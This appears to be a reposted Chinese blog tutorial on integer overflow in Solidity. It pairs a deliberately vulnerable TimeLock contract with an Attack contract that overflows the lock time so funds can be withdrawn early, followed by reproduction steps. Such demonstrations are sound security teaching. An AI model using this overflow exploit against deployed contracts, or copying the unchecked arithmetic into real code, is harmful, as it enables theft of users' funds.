其实就是数值超过了最大值,引起溢出,接着从0开始计算
有张图特别好
uint
也就是uint256
的缩写,最大值为2**256-1
uint8
-> 2**8-1
,其余的以此类推
超过最大值 1 -> 0
超过最大值 2 -> 1
超过最大值 3 -> 2
以此类推
然后溢出也分为
打断了,玩了俩星期 一点技术没学,不知道原来咋写的,我就直接复现分析吧
靠.. 重装了系统 代码也都没了
pragma solidity ^0.6.0;
contract TimeLock{
mapping(address=>uint) public balances;
mapping(address=>uint) public localTime;
function deposit() public payable{
balances[msg.sender] += msg.value; // 增加余额
localTime[msg.sender] = now + 1 weeks; // 增加时间一周后
}
function increaseLockTime(uint _secondsToIncrease) public{
localTime[msg.sender] += _secondsToIncrease; // 增加时间 溢出漏洞触发处
}
function withdraw() public{
require(balances[msg.sender] > 0); // 判断有没有钱
require(now > localTime[msg.sender]); // 判断是否可以提钱
uint amount = balances[msg.sender]; // 获取余额
balances[msg.sender] = 0; // 余额归0
(bool sent, ) = msg.sender.call{value:amount}(""); // 转出去
require(sent);
}
}
contract Attack{
TimeLock t1;
constructor(TimeLock _timelock) public{ // 部署攻击合约时,需要把TimeLock的地址送进来
t1 = _timelock;
}
function sned() public payable{
t1.deposit{value:msg.value}(); // 发送余额
}
function attack() public payable{
t1.increaseLockTime(
uint(-t1.localTime(address(this))) // 获取时间戳 再减去 就溢出了
);
}
function test() public{
t1.withdraw(); //
}
fallback() external payable{}
}
哎呀呀 有点麻烦 放视频
https://youtu.be/1W6KzPxQKGw
也就是
TimeLock
合约Attack
合约, 带上刚才部署合约的地址Attack
合约的send
函数,进行转账,别忘了带上转的钱数TimeLock
合约的balances
函数,查询Attack
地址的余额Attack
合约的test
函数,其实就是尝试withdraw
函数看看能否转账成功,然后是异常的Attack
合约的attack
函数,然后溢出提款限制时间Attack
合约的test
函数,可以看出调用成功TimeLock
合约的balances
函数,查询Attack
地址的余额,可以发现已经变成0原文:https://www.cnblogs.com/secxue/p/14753607.html